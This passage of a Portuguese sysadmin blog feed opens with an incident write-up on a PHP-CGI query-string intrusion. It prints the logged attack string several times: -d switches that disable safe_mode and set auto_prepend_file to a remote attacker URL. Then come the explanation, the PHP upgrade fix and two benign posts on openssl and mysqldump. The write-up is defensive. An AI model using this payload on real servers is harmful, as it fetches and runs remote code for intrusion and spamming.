    [REDIRECT_HANDLER] =&gt; php5-cgi
    [DOCUMENT_ROOT] =&gt; /var/www/sites/meusiteemphp
    [SCRIPT_FILENAME] =&gt; /var/www/sites/meusiteemphp/index.php
    [REQUEST_URI] =&gt; /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
    [SCRIPT_NAME] =&gt; /index.php
    [SCRIPT_URI] =&gt; http://meusiteemphp.com.br/index.php
    [REMOTE_PORT] =&gt; 32822
    [ORIG_SCRIPT_FILENAME] =&gt; /usr/lib/cgi-bin/php5
    [PATH] =&gt; /usr/local/bin:/usr/bin:/bin
    [SCRIPT_URL] =&gt; /index.php
    [PWD] =&gt; /var/www/sites/meusiteemphp
    [SERVER_ADMIN] =&gt; exemplo@exemplo.com.br
    [REDIRECT_STATUS] =&gt; 200
    [REDIRECT_QUERY_STRING] =&gt; -dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
    [ORIG_SCRIPT_NAME] =&gt; /php5-cgi
    [HTTP_ACCEPT] =&gt; */*
    [REMOTE_ADDR] =&gt; 31.184.244.28
    [SHLVL] =&gt; 1
    [SERVER_NAME] =&gt; meusiteemphp.com.br
    [CONTENT_LENGTH] =&gt; 370977
    [SERVER_SOFTWARE] =&gt; Apache/2.2.9 (Debian) PHP/4.4.6-2 proxy_html/3.0.0 mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
    [QUERY_STRING] =&gt; -dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
    [SERVER_ADDR] =&gt; 173.255.255.255
    [GATEWAY_INTERFACE] =&gt; CGI/1.1
    [SERVER_PROTOCOL] =&gt; HTTP/1.1
    [REDIRECT_URL] =&gt; /index.php
    [CONTENT_TYPE] =&gt; multipart/form-data; boundary=----------------------------0e65a7f6d6ad
    [REQUEST_METHOD] =&gt; POST
    [ORIG_PATH_INFO] =&gt; /index.php
    [_] =&gt; /usr/local/bin/phpsendmail
)</pre>
<p>Atenção aos indices REQUEST_URI e REQUEST_HANDLER. Ataque claro:</p>
<pre>-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt</pre>
<p>Peguei o arquivo send.txt e tinha um código todo organizado e bonitinho para envio de email. Com esses parametros a invasão estava dada, foi assim que o spammer conseguiu criar o arquivo pagenews.php e seus derivados, e mesmo após deletarmos os arquivos ele continuou mandando email.</p>
<p>Achei o seguinte no PHP.net <a href="https://bugs.php.net/bug.php?id=61910">https://bugs.php.net/bug.php?id=61910</a> :</p>
<pre>According to PHP's website, "PHP is a widely-used general-purpose
scripting language that is especially suited for Web development and
can be embedded into HTML." When PHP is used in a CGI-based setup
(such as Apache's mod_cgid), the php-cgi receives a processed query
string parameter as command line arguments which allows command-line
switches, such as -s, -d or -c to be passed to the php-cgi binary,
which can be exploited to disclose source code and obtain arbitrary
code execution.</pre>
<p>Dito e feito, funcionou de verdade, e o pior que foi comigo.<br />
Mas fica para aprendermos.</p>
<h1><span style="color: #3366ff;">3. O que foi feito?</span></h1>
<p>Atualizamos a versão do PHP da 5.2.6 para a 5.4.3 e aparentemente o envio em massa de email foi interrompido, de qualquer forma continuamos o monitoramento dos emails.</p>
<p>Boa sorte!</p>
<p>Referencias:<br />
<a href="http://www.php.net/archive/2012.php#id2012-05-03-1">http://www.php.net/archive/2012.php#id2012-05-03-1</a><br />
<a href="https://bugs.php.net/bug.php?id=61910">https://bugs.php.net/bug.php?id=61910</a><br />
<a href="http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam">http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam</a></p>
<p>The post <a href="https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/">PHP-CGI query string parameters vulnerabitily</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Guia rápido de conversão e criação de certificados</title>
		<link>https://thiagosantos.com/blog/293/linux/guia-rapido-de-conversao-de-certificados/</link>
					<comments>https://thiagosantos.com/blog/293/linux/guia-rapido-de-conversao-de-certificados/#comments</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Mon, 10 Oct 2011 13:36:05 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[cer to crt]]></category>
		<category><![CDATA[certificados]]></category>
		<category><![CDATA[generate a rsa key]]></category>
		<category><![CDATA[gerando uma chave rsa]]></category>
		<category><![CDATA[linux shell]]></category>
		<category><![CDATA[openssl]]></category>
		<category><![CDATA[rsa key]]></category>
		<guid isPermaLink="false">http://thiagosantos.com/blog/?p=293</guid>

					<description><![CDATA[<p>Todos os comandos para a conversão do certificado ou a criação são feitos por linha de comando no Linux, a distro que usei foi o Gentoo.</p>
<p>The post <a href="https://thiagosantos.com/blog/293/linux/guia-rapido-de-conversao-de-certificados/">Guia rápido de conversão e criação de certificados</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: center;">Esse é um guia rápido de referência para a conversão de certificados e a criação de certificados. Todos os comandos para a conversão ou a criação foram feitos no shell do Linux, a distro que usei foi o Gentoo.<span id="more-293"></span></p>
<p style="padding-left: 30px;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;"><strong>Gerar uma chave RSA(RSA Key) </strong></span></p>
<p style="padding-left: 30px;">Chave de 1024 bits</p>
<pre>openssl genrsa -out  chave_privada.key 1024</pre>
<p style="padding-left: 30px;">Chave de 2048 bits</p>
<pre>openssl genrsa -out chave_privada.key 2048</pre>
<p style="padding-left: 30px;"><strong>Gerando um CSR (Certificate Signing Request) a partir de uma RSA Key</strong></p>
<pre>openssl req -new -key chave_privada.key -out req_cert.csr</pre>
<p style="padding-left: 30px;"><strong><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;">Converter .CER para .CRT</span></strong></p>
<pre>openssl x509 -inform DER -in cert.cer -out cert.crt</pre>
<p style="padding-left: 30px;"><strong> Gerando um certificado auto assinado<br />
</strong>Você pode usar internamente esse tipo de certificado para validar seus sites rodando localmente.</p>
<pre><code>openssl x509 -req -in req_cert.csr -signkey chave_privada.key -out meu_certificado.crt</code></pre>
<p>O conteúdo desse post é baseado nas minhas experiências implicando diretamente na quantidade de conteúdo escrito aqui, ou seja conforme for encontrando a necessidade de aprender algo novo sobre OpenSSL, certificados, chaves RSA vou postando aqui.</p>
<p>Referencia:<br />
<a href="http://www.openssl.org/docs/apps/genrsa.html#NAME">http://www.openssl.org/docs/apps/genrsa.html<br />
</a><a href="http://www.openssl.org/docs/apps/req.html">http://www.openssl.org/docs/apps/req.html</a><a href="http://www.openssl.org/docs/apps/genrsa.html#NAME"><br />
</a><a href="http://www.akadia.com/services/ssh_test_certificate.html">http://www.akadia.com/services/ssh_test_certificate.html</a><a href="http://www.openssl.org/docs/apps/genrsa.html#NAME"> </a></p>
<p>&nbsp;</p>
<p>The post <a href="https://thiagosantos.com/blog/293/linux/guia-rapido-de-conversao-de-certificados/">Guia rápido de conversão e criação de certificados</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/293/linux/guia-rapido-de-conversao-de-certificados/feed/</wfw:commentRss>
			<slash:comments>7</slash:comments>
		
		
			</item>
		<item>
		<title>Exportando e importando dados do mySQL por linha de comando</title>
		<link>https://thiagosantos.com/blog/218/sql/exportando-e-importando-dados-do-mysql-por-linha-de-comando/</link>
					<comments>https://thiagosantos.com/blog/218/sql/exportando-e-importando-dados-do-mysql-por-linha-de-comando/#comments</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Thu, 25 Aug 2011 18:02:45 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[mysql dump]]></category>
		<category><![CDATA[mysql restaurar banco]]></category>
		<category><![CDATA[mysql restore dump]]></category>
		<category><![CDATA[mysqldump]]></category>
		<category><![CDATA[restaurando um dump do mysql]]></category>
		<category><![CDATA[restore database]]></category>
		<category><![CDATA[restore dump mysql]]></category>
		<category><![CDATA[usando mysqldump]]></category>
		<guid isPermaLink="false">http://www.thiagosantos.com/blog/?p=218</guid>

					<description><![CDATA[<p>A motivação que me fez criar esse post partiu de um dos itens de um teste que bolamos aqui na empresa para uma vaga de SysAdmin Linux. A partir do momento em que alguns candidatos a vaga encontravam alguma dificuldade para restaurar um dump do mySQL por linha de comando (sendo não ser obrigatório por [&#8230;]</p>
<p>The post <a href="https://thiagosantos.com/blog/218/sql/exportando-e-importando-dados-do-mysql-por-linha-de-comando/">Exportando e importando dados do mySQL por linha de comando</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>A motivação que me fez criar esse post partiu de um dos itens de um teste que bolamos aqui na empresa para uma vaga de SysAdmin Linux. A partir do momento em que alguns candidatos a vaga encontravam alguma dificuldade para restaurar um dump do mySQL por linha de comando (sendo não ser obrigatório por linha de comando).</p>
<p>Nesta página temos as sessões:</p>
<ol>
<li><a href="/blog/218/sql/exportando-e-importando-dados-do-mysql-por-linha-de-comando/#basicamente-fazendo-o-dump">Basicamente fazendo o dump do mySQL</a></li>
<li><a href="/blog/218/sql/exportando-e-importando-dados-do-mysql-por-linha-de-comando/#restaurando-um-banco-mysql">Restaurando um banco mySQL</a></li>
<li><a href="/blog/218/sql/exportando-e-importando-dados-do-mysql-por-linha-de-comando/#atencao-as-setas">Atenção as setas!</a></li>
</ol>
<div><span id="more-218"></span></div>
<div><strong><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;"><a name="basicamente-fazendo-o-dump"></a>1 &#8211; Basicamente fazendo o dump<br />
</span></strong></div>
<div></div>
<blockquote><p><span style="color: #008000;">shell~# mysqldump -u <strong>usuario</strong> -p <strong>meubancodedados</strong> -h <strong>localhost</strong></span></p></blockquote>
<p style="padding-left: 30px;"><strong>Parâmetros</strong>:</p>
<ul style="padding-left: 30px;">
<li>-u  <em>usuario <strong>= </strong></em>nome de usuário com permissão no banco</li>
<li>-p <strong><em>= </em></strong>pedir senha</li>
<li>-h localhost <strong>=</strong> ip ou dominio onde se encontra o seu banco mySQL</li>
<li>meubancodedados <strong>=</strong> nome do banco de dados que você quer dar o dump</li>
</ul>
<p style="padding-left: 30px;">Se tudo sair conforme esperado o mysqldump vai cuspir todo o conteudo do banco de dados, e se quiser colocar esse conteúdo dentro de um arquivo basta adicionar o &#8220;&gt; meu_dump.sql&#8221; do final da instrução.</p>
<blockquote><p> <span style="color: #008000;">shell~# mysqldump -u usuario -p bancodedados -h localhost &gt; meu_dump.sql</span></p></blockquote>
<p><strong><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;"><a name="restaurando-um-banco-mysql"></a>2 &#8211; Restaurando um banco mySQL</span></strong><br />
Um pouco de atenção agora pois é nessa parte em que muitos se enganam. No momento em que fazemos um dump de um banco usamos o mysqldump e quando queremos restaurar esse dump usamos o &#8230;&#8230;. ? mysql !<br />
Muitas das pessoas que fizeram testes para o cargo citado a cima utilizaram o mysqldump para importar os dados, e encontraram muitas referencias da utilização do mesmo para restaurar. Mas não funciona, pelo menos não na versão do mySQL 5 que usamos. :)<br />
Segue abaixo a linha para restaurar o banco:</p>
<blockquote><p> <span class="Apple-style-span" style="font-style: italic; color: #008000;">shell~# mysql -u usuario -p bancodedados_2 -h localhost &lt; meu_dump.sql</span></p></blockquote>
<p>Vale lembrar que é necessário que você crie o bancodedados_2, dê as devidas permissões para o usuario antes de executar essa instrução.</p>
<p><strong><a name="atencao-as-setas"></a>3 &#8211; Atenção as setas!</strong></p>
<p>Quando é feito o <strong>mysqldump</strong> e queremos salvar as informações em um arquivo de texto utilizamos o sinal de maior &#8220;<strong>&gt;</strong>&#8220;, já quando queremos importar os dados para o mySQL utilizando o <strong>mysql</strong> usamos a seta inversa ou senha o sinal de menor &#8220;<strong>&lt;</strong>&#8220;.</p>
<p>&nbsp;</p>
<p>Abraços.</p>
<p>The post <a href="https://thiagosantos.com/blog/218/sql/exportando-e-importando-dados-do-mysql-por-linha-de-comando/">Exportando e importando dados do mySQL por linha de comando</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/218/sql/exportando-e-importando-dados-do-mysql-por-linha-de-comando/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
	</channel>
</rss>
